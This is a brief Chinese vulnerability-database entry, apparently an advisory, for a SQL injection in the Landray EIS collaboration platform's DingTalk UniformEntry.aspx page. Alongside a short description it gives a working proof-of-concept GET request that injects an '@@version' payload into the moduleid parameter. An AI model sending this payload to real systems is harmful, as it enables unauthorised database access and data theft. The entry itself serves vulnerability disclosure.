蓝凌EIS智慧协同平台 /third/DingTalk/Pages/UniformEntry.aspx SQL注入漏洞

2023-09-11 蓝凌EIS智慧协同平台 PoC Public

Description

攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。

PoC

GET /third/DingTalk/Pages/UniformEntry.aspx?moduleid=1%20and%201=@@version--+ HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/02a20e46-cd2a-4e39-9826-bf4aa7bab5ce

Related Vulnerabilities